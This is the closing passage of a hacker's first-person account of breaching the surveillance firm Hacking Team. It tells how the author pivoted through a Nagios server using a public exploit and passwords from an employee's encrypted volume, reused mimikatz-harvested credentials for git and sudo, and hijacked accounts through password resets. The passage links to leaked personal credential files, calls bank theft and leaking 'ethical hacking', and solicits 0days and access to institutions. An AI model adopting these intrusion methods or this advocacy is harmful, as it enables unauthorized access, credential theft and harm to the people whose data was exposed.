 files. Many have made fun of Christian Pozzi's weak passwords (and of
 Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
 included them in the leak as a false clue, and to laugh at him. The reality is
 that mimikatz and keyloggers view all passwords equally.
 
 [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
 [2] http://www.hammer-software.com/wmigphowto.shtml
 [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
 [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
 [5] http://pwnwiki.io/#!presence/windows/find_files.md
 [6] http://archive.is/TbaPy
 [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
 [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
 [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
 
 
 --[ 15 - The bridge ]-----------------------------------------------------------
 
 Within Christian Pozzi's Truecrypt volume, there was a textfile with many
 passwords [1]. One of those was for a Fully Automated Nagios server, which had
 access to the Sviluppo network in order to monitor it. I'd found the bridge I
 needed. The textfile just had the password to the web interface, but there was
 a public code execution exploit [2] (it's an unauthenticated exploit, but it
 requires that at least one user has a session initiated, for which I used the
 password from the textfile).
 
 [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
 [2] http://seclists.org/fulldisclosure/2014/Oct/78
 
 
 --[ 16 - Reusing and resetting passwords ]--------------------------------------
 
 Reading the emails, I'd seen Daniele Milan granting access to git repos. I
 already had his windows password thanks to mimikatz. I tried it on the git
 server and it worked. Then I tried sudo and it worked. For the gitlab server
 and their twitter account, I used the "forgot my password" function along with
 my access to their mail server to reset the passwords.
 
 
 --[ 17 - Conclusion ]-----------------------------------------------------------
 
 That's all it takes to take down a company and stop their human rights abuses.
 That's the beauty and asymmetry of hacking: with 100 hours of work, one person
 can undo years of work by a multi-million dollar company. Hacking gives the
 underdog a chance to fight and win.
 
 Hacking guides often end with a disclaimer: this information is for
 educational purposes only, be an ethical hacker, don't attack systems you
 don't have permission to, etc. I'll say the same, but with a more rebellious
 conception of "ethical" hacking. Leaking documents, expropriating money from
 banks, and working to secure the computers of ordinary people is ethical
 hacking. However, most people that call themselves "ethical hackers" just work
 to secure those who pay their high consulting fees, who are often those most
 deserving to be hacked.
 
 Hacking Team saw themselves as part of a long line of inspired Italian design
 [1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
 and government, as part of a long tradition of Italian fascism. I'd like to
 dedicate this guide to the victims of the raid on the Armando Diaz school, and
 to all those who have had their blood spilled by Italian fascists.
 
 [1] https://twitter.com/coracurrier/status/618104723263090688
 
 
 --[ 18 - Contact ]--------------------------------------------------------------
 
 To send me spear phishing attempts, death threats in Italian [1][2], and to
 give me 0days or access inside banks, corporations, governments, etc.
 
 [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
 [2] https://twitter.com/CthulhuSec/status/619459002854977537
 
 only encrypted email please:
 https://securityinabox.org/es/thunderbird_usarenigmail
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                       If not you, who? If not now, when?
                 _   _            _      ____             _    _
                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
                | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
                |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
                |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)